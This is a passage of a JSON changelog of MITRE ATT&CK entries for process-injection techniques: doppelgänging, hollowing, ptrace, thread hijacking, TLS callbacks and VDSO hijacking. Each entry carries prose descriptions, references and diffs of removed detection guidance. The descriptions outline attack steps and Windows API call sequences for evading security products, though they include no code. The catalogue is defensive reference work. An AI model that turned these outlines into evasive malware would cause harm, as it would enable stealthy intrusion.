"id": "attack-pattern--7007935a-a8a7-4c0b-bd98-4e85be8ed197",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-01-14 17:19:50.978000+00:00",
"modified": "2025-10-24 17:48:56.422000+00:00",
"name": "Process Doppelg\u00e4nging",
"description": "Adversaries may inject malicious code into process via process doppelg\u00e4nging in order to evade process-based defenses as well as possibly elevate privileges. Process doppelg\u00e4nging is a method of executing arbitrary code in the address space of a separate live process. \n\nWindows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations. (Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened. (Citation: Microsoft Basic TxF Concepts) To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction. (Citation: Microsoft Where to use TxF)\n\nAlthough deprecated, the TxF application programming interface (API) is still enabled as of Windows 10. (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017)\n\nAdversaries may abuse TxF to a perform a file-less variation of [Process Injection](https://attack.mitre.org/techniques/T1055). Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012), process doppelg\u00e4nging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. Process doppelg\u00e4nging's use of TxF also avoids the use of highly-monitored API functions such as NtUnmapViewOfSection, VirtualProtectEx, and SetThreadContext. (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017)\n\nProcess Doppelg\u00e4nging is implemented in 4 steps (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017):\n\n* Transact \u2013 Create a TxF transaction using a legitimate executable then overwrite the file with malicious code. These changes will be isolated and only visible within the context of the transaction.\n* Load \u2013 Create a shared section of memory and load the malicious executable.\n* Rollback \u2013 Undo changes to original executable, effectively removing malicious code from the file system.\n* Animate \u2013 Create a process from the tainted section of memory and initiate execution.\n\nThis behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process doppelg\u00e4nging may evade detection from security products since the execution is masked under a legitimate process. ",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1055/013",
"external_id": "T1055.013"
},
{
"source_name": "Microsoft TxF",
"description": "Microsoft. (n.d.). Transactional NTFS (TxF). Retrieved December 20, 2017.",
"url": "https://msdn.microsoft.com/library/windows/desktop/bb968806.aspx"
},
{
"source_name": "Microsoft Basic TxF Concepts",
"description": "Microsoft. (n.d.). Basic TxF Concepts. Retrieved December 20, 2017.",
"url": "https://msdn.microsoft.com/library/windows/desktop/dd979526.aspx"
},
{
"source_name": "Microsoft Where to use TxF",
"description": "Microsoft. (n.d.). When to Use Transactional NTFS. Retrieved December 20, 2017.",
"url": "https://msdn.microsoft.com/library/windows/desktop/aa365738.aspx"
},
{
"source_name": "BlackHat Process Doppelg\u00e4nging Dec 2017",
"description": "Liberman, T. & Kogan, E. (2017, December 7). Lost in Transaction: Process Doppelg\u00e4nging. Retrieved December 20, 2017.",
"url": "https://www.blackhat.com/docs/eu-17/materials/eu-17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf"
},
{
"source_name": "hasherezade Process Doppelg\u00e4nging Dec 2017",
"description": "hasherezade. (2017, December 18). Process Doppelg\u00e4nging \u2013 a new way to impersonate a process. Retrieved December 20, 2017.",
"url": "https://hshrzd.wordpress.com/2017/12/18/process-doppelganging-a-new-way-to-impersonate-a-process/"
},
{
"source_name": "Microsoft PsSetCreateProcessNotifyRoutine routine",
"description": "Microsoft. (n.d.). PsSetCreateProcessNotifyRoutine routine. Retrieved December 20, 2017.",
"url": "https://msdn.microsoft.com/library/windows/hardware/ff559951.aspx"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Metadata\", \"Process: OS API Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:56.422000+00:00\", \"old_value\": \"2025-04-25 14:47:03.621000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor and analyze calls to CreateTransaction, CreateFileTransacted, RollbackTransaction, and other rarely used functions indicative of TxF activity. Process Doppelg\\u00e4nging also invokes an outdated and undocumented implementation of the Windows process loader via calls to NtCreateProcessEx and NtCreateThreadEx as well as API calls used to modify memory within another process, such as WriteProcessMemory. (Citation: BlackHat Process Doppelg\\u00e4nging Dec 2017) (Citation: hasherezade Process Doppelg\\u00e4nging Dec 2017)\\n\\nScan file objects reported during the PsSetCreateProcessNotifyRoutine, (Citation: Microsoft PsSetCreateProcessNotifyRoutine routine) which triggers a callback whenever a process is created or deleted, specifically looking for file objects with enabled write access. (Citation: BlackHat Process Doppelg\\u00e4nging Dec 2017) Also consider comparing file objects loaded in memory to the corresponding file on disk. (Citation: hasherezade Process Doppelg\\u00e4nging Dec 2017)\\n\\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Monitor and analyze calls to CreateTransaction, CreateFileTransacted, RollbackTransaction, and other rarely used functions indicative of TxF activity. Process Doppelg\\u00e4nging also invokes an outdated and undocumented implementation of the Windows process loader via calls to NtCreateProcessEx and NtCreateThreadEx as well as API calls used to modify memory within another process, such as WriteProcessMemory. (Citation: BlackHat Process Doppelg\\u00e4nging Dec 2017) (Citation: hasherezade Process Doppelg\\u00e4nging Dec 2017)\\n-\\n-Scan file objects reported during the PsSetCreateProcessNotifyRoutine, (Citation: Microsoft PsSetCreateProcessNotifyRoutine routine) which triggers a callback whenever a process is created or deleted, specifically looking for file objects with enabled write access. (Citation: BlackHat Process Doppelg\\u00e4nging Dec 2017) Also consider comparing file objects loaded in memory to the corresponding file on disk. (Citation: hasherezade Process Doppelg\\u00e4nging Dec 2017)\\n-\\n-Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.\"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [
"M1040: Behavior Prevention on Endpoint"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (OS API Execution)",
"DS0022: File (File Metadata)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0544: Detection Strategy for Process Doppelg\u00e4nging on Windows"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-01-14 17:21:54.470000+00:00",
"modified": "2025-10-24 17:49:14.559000+00:00",
"name": "Process Hollowing",
"description": "Adversaries may inject malicious code into suspended and hollowed processes in order to evade process-based defenses. Process hollowing is a method of executing arbitrary code in the address space of a separate live process. \n\nProcess hollowing is commonly performed by creating a process in a suspended state then unmapping/hollowing its memory, which can then be replaced with malicious code. A victim process can be created with native Windows API calls such as CreateProcess, which includes a flag to suspend the processes primary thread. At this point the process can be unmapped using APIs calls such as ZwUnmapViewOfSection or NtUnmapViewOfSection before being written to, realigned to the injected code, and resumed via VirtualAllocEx, WriteProcessMemory, SetThreadContext, then ResumeThread respectively.(Citation: Leitch Hollowing)(Citation: Elastic Process Injection July 2017)\n\nThis is very similar to [Thread Local Storage](https://attack.mitre.org/techniques/T1055/005) but creates a new process rather than targeting an existing process. This behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process hollowing may also evade detection from security products since the execution is masked under a legitimate process. ",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1055/012",
"external_id": "T1055.012"
},
{
"source_name": "Nviso Spoof Command Line 2020",
"description": "Daman, R. (2020, February 4). The return of the spoof part 2: Command line spoofing. Retrieved November 19, 2021.",
"url": "https://blog.nviso.eu/2020/02/04/the-return-of-the-spoof-part-2-command-line-spoofing/"
},
{
"source_name": "Elastic Process Injection July 2017",
"description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
"url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
},
{
"source_name": "Leitch Hollowing",
"description": "Leitch, J. (n.d.). Process Hollowing. Retrieved September 12, 2024.",
"url": "https://new.dc414.org/wp-content/uploads/2011/01/Process-Hollowing.pdf"
},
{
"source_name": "Mandiant Endpoint Evading 2019",
"description": "Pena, E., Erikson, C. (2019, October 10). Staying Hidden on the Endpoint: Evading Detection with Shellcode. Retrieved November 29, 2021.",
"url": "https://www.mandiant.com/resources/staying-hidden-on-the-endpoint-evading-detection-with-shellcode"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "1.4",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Process: Process Modification\", \"Process: OS API Execution\", \"Process: Process Access\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:14.559000+00:00\", \"old_value\": \"2025-04-15 19:58:58.724000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)\\n\\nProcessing hollowing commonly involves spawning an otherwise benign victim process. Consider correlating detections of processes created in a suspended state (ex: through API flags or process\\u2019 thread metadata) with other malicious activity such as attempts to modify a process' memory, especially by its parent process, or other abnormal process behavior.(Citation: Nviso Spoof Command Line 2020)(Citation: Mandiant Endpoint Evading 2019)\\n\\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)\\n-\\n-Processing hollowing commonly involves spawning an otherwise benign victim process. Consider correlating detections of processes created in a suspended state (ex: through API flags or process\\u2019 thread metadata) with other malicious activity such as attempts to modify a process' memory, especially by its parent process, or other abnormal process behavior.(Citation: Nviso Spoof Command Line 2020)(Citation: Mandiant Endpoint Evading 2019)\\n-\\n-Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.\"}}}",
"previous_version": "1.4",
"changelog_mitigations": {
"shared": [
"M1040: Behavior Prevention on Endpoint"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (OS API Execution)",
"DS0009: Process (Process Access)",
"DS0009: Process (Process Creation)",
"DS0009: Process (Process Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0382: Detection Strategy for Process Hollowing on Windows"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--ea016b56-ae0e-47fe-967a-cc0ad51af67f",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-01-14 01:33:19.065000+00:00",
"modified": "2025-10-24 17:49:33.344000+00:00",
"name": "Ptrace System Calls",
"description": "Adversaries may inject malicious code into processes via ptrace (process trace) system calls in order to evade process-based defenses as well as possibly elevate privileges. Ptrace system call injection is a method of executing arbitrary code in the address space of a separate live process. \n\nPtrace system call injection involves attaching to and modifying a running process. The ptrace system call enables a debugging process to observe and control another process (and each individual thread), including changing memory and register values.(Citation: PTRACE man) Ptrace system call injection is commonly performed by writing arbitrary code into a running process (ex: malloc) then invoking that memory with PTRACE_SETREGS to set the register containing the next instruction to execute. Ptrace system call injection can also be done with PTRACE_POKETEXT/PTRACE_POKEDATA, which copy data to a specific address in the target processes\u2019 memory (ex: the current address of the next instruction). (Citation: PTRACE man)(Citation: Medium Ptrace JUL 2018) \n\nPtrace system call injection may not be possible targeting processes that are non-child processes and/or have higher-privileges.(Citation: BH Linux Inject) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via ptrace system call injection may also evade detection from security products since the execution is masked under a legitimate process. ",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1055/008",
"external_id": "T1055.008"
},
{
"source_name": "PTRACE man",
"description": "Kerrisk, M. (2020, February 9). PTRACE(2) - Linux Programmer's Manual. Retrieved February 21, 2020.",
"url": "http://man7.org/linux/man-pages/man2/ptrace.2.html"
},
{
"source_name": "Medium Ptrace JUL 2018",
"description": "Jain, S. (2018, July 25). Code injection in running process using ptrace. Retrieved February 21, 2020.",
"url": "https://medium.com/@jain.sm/code-injection-in-running-process-using-ptrace-d3ea7191a4be"
},
{
"source_name": "BH Linux Inject",
"description": "Colgan, T. (2015, August 15). Linux-Inject. Retrieved February 21, 2020.",
"url": "https://github.com/gaffe23/linux-inject/blob/master/slides_BHArsenal2015.pdf"
},
{
"source_name": "ArtOfMemoryForensics",
"description": "Ligh, M.H. et al.. (2014, July). The Art of Memory Forensics: Detecting Malware and Threats in Windows, Linux, and Mac Memory. Retrieved December 20, 2017."
},
{
"source_name": "GNU Acct",
"description": "GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved December 20, 2017.",
"url": "https://www.gnu.org/software/acct/"
},
{
"source_name": "RHEL auditd",
"description": "Jahoda, M. et al.. (2017, March 14). redhat Security Guide - Chapter 7 - System Auditing. Retrieved December 20, 2017.",
"url": "https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing"
},
{
"source_name": "Chokepoint preload rootkits",
"description": "stderr. (2014, February 14). Detecting Userland Preload Rootkits. Retrieved December 20, 2017.",
"url": "http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux"
],
"x_mitre_version": "1.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: OS API Execution\", \"Process: Process Access\", \"Process: Process Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:33.344000+00:00\", \"old_value\": \"2025-04-25 14:48:25.896000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitoring for Linux specific calls such as the ptrace system call should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods.(Citation: ArtOfMemoryForensics) (Citation: GNU Acct) (Citation: RHEL auditd) (Citation: Chokepoint preload rootkits) \\n\\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. \", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitoring for Linux specific calls such as the ptrace system call should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods.(Citation: ArtOfMemoryForensics) (Citation: GNU Acct) (Citation: RHEL auditd) (Citation: Chokepoint preload rootkits) \\n-\\n-Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. \"}}}",
"previous_version": "1.2",
"changelog_mitigations": {
"shared": [
"M1026: Privileged Account Management",
"M1040: Behavior Prevention on Endpoint"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (OS API Execution)",
"DS0009: Process (Process Access)",
"DS0009: Process (Process Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0203: Detection Strategy for Ptrace-Based Process Injection on Linux"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--41d9846c-f6af-4302-a654-24bba2729bc6",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-01-14 01:28:32.166000+00:00",
"modified": "2025-10-24 17:48:42.433000+00:00",
"name": "Thread Execution Hijacking",
"description": "Adversaries may inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. Thread Execution Hijacking is a method of executing arbitrary code in the address space of a separate live process. \n\nThread Execution Hijacking is commonly performed by suspending an existing process then unmapping/hollowing its memory, which can then be replaced with malicious code or the path to a DLL. A handle to an existing victim process is first created with native Windows API calls such as OpenThread. At this point the process can be suspended then written to, realigned to the injected code, and resumed via SuspendThread , VirtualAllocEx, WriteProcessMemory, SetThreadContext, then ResumeThread respectively.(Citation: Elastic Process Injection July 2017)\n\nThis is very similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012) but targets an existing process rather than creating a process in a suspended state. \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via Thread Execution Hijacking may also evade detection from security products since the execution is masked under a legitimate process. ",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1055/003",
"external_id": "T1055.003"
},
{
"source_name": "Elastic Process Injection July 2017",
"description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
"url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "1.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: OS API Execution\", \"Process: Process Modification\", \"Process: Process Access\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:42.433000+00:00\", \"old_value\": \"2025-04-25 14:46:28.558000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)\\n\\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. \", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)\\n-\\n-Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. \"}}}",
"previous_version": "1.2",
"changelog_mitigations": {
"shared": [
"M1040: Behavior Prevention on Endpoint"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (OS API Execution)",
"DS0009: Process (Process Access)",
"DS0009: Process (Process Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0295: Behavioral Detection of Thread Execution Hijacking via Thread Suspension and Context Switching"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--e49ee9d2-0d98-44ef-85e5-5d3100065744",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-01-14 01:30:41.092000+00:00",
"modified": "2025-10-24 17:49:32.111000+00:00",
"name": "Thread Local Storage",
"description": "Adversaries may inject malicious code into processes via thread local storage (TLS) callbacks in order to evade process-based defenses as well as possibly elevate privileges. TLS callback injection is a method of executing arbitrary code in the address space of a separate live process. \n\nTLS callback injection involves manipulating pointers inside a portable executable (PE) to redirect a process to malicious code before reaching the code's legitimate entry point. TLS callbacks are normally used by the OS to setup and/or cleanup data used by threads. Manipulating TLS callbacks may be performed by allocating and writing to specific offsets within a process\u2019 memory space using other [Process Injection](https://attack.mitre.org/techniques/T1055) techniques such as [Process Hollowing](https://attack.mitre.org/techniques/T1055/012).(Citation: FireEye TLS Nov 2017)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via TLS callback injection may also evade detection from security products since the execution is masked under a legitimate process. ",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1055/005",
"external_id": "T1055.005"
},
{
"source_name": "Elastic Process Injection July 2017",
"description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
"url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
},
{
"source_name": "FireEye TLS Nov 2017",
"description": "Vaish, A. & Nemes, S. (2017, November 28). Newly Observed Ursnif Variant Employs Malicious TLS Callback Technique to Achieve Process Injection. Retrieved December 18, 2017.",
"url": "https://www.fireeye.com/blog/threat-research/2017/11/ursnif-variant-malicious-tls-callback-technique.html"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "1.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Modification\", \"Process: Process Access\", \"Process: OS API Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:32.111000+00:00\", \"old_value\": \"2025-04-25 14:48:21.860000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)\\n\\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. \", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)\\n-\\n-Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. \"}}}",
"previous_version": "1.2",
"changelog_mitigations": {
"shared": [
"M1040: Behavior Prevention on Endpoint"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (OS API Execution)",
"DS0009: Process (Process Access)",
"DS0009: Process (Process Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0467: Detection Strategy for TLS Callback Injection via PE Memory Modification and Hollowing"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--98be40f2-c86b-4ade-b6fc-4964932040e5",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-01-14 01:35:00.781000+00:00",
"modified": "2025-10-24 17:49:08.040000+00:00",
"name": "VDSO Hijacking",
"description": "Adversaries may inject malicious code into processes via VDSO hijacking in order to evade process-based defenses as well as possibly elevate privileges. Virtual dynamic shared object (vdso) hijacking is a method of executing arbitrary code in the address space of a separate live process. \n\nVDSO hijacking involves redirecting calls to dynamically linked shared libraries. Memory protections may prevent writing executable code to a process via [Ptrace System Calls](https://attack.mitre.org/techniques/T1055/008). However, an adversary may hijack the syscall interface code stubs mapped into a process from the vdso shared object to execute syscalls to open and map a malicious shared object. This code can then be invoked by redirecting the execution flow of the process via patched memory address references stored in a process' global offset table (which store absolute addresses of mapped library functions).(Citation: ELF Injection May 2009)(Citation: Backtrace VDSO)(Citation: VDSO Aug 2005)(Citation: Syscall 2014)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via VDSO hijacking may also evade detection from security products since the execution is masked under a legitimate process. ",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1055/014",
"external_id": "T1055.014"
},
{
"source_name": "Backtrace VDSO",
"description": "backtrace. (2016, April 22). ELF SHARED LIBRARY INJECTION FORENSICS. Retrieved November 17, 2024.",
"url": "https://web.archive.org/web/20210205211142/https://backtrace.io/blog/backtrace/elf-shared-library-injection-forensics/"
},
{
"source_name": "Syscall 2014",
"description": "Drysdale, D. (2014, July 16). Anatomy of a system call, part 2. Retrieved June 16, 2020.",
"url": "https://lwn.net/Articles/604515/"
},
{
"source_name": "GNU Acct",
"description": "GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved December 20, 2017.",
"url": "https://www.gnu.org/software/acct/"
},
{
"source_name": "RHEL auditd",
"description": "Jahoda, M. et al.. (2017, March 14). redhat Security Guide - Chapter 7 - System Auditing. Retrieved December 20, 2017.",
"url": "https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing"
},
{
"source_name": "ArtOfMemoryForensics",
"description": "Ligh, M.H. et al.. (2014, July). The Art of Memory Forensics: Detecting Malware and Threats in Windows, Linux, and Mac Memory. Retrieved December 20, 2017."
},
{
"source_name": "ELF Injection May 2009",
"description": "O'Neill, R. (2009, May). Modern Day ELF Runtime infection via GOT poisoning. Retrieved March 15, 2020.",
"url": "https://web.archive.org/web/20150711051625/http://vxer.org/lib/vrn00.html"
},
{
"source_name": "VDSO Aug 2005",
"description": "Petersson, J. (2005, August 14). What is linux-gate.so.1?. Retrieved June 16, 2020.",
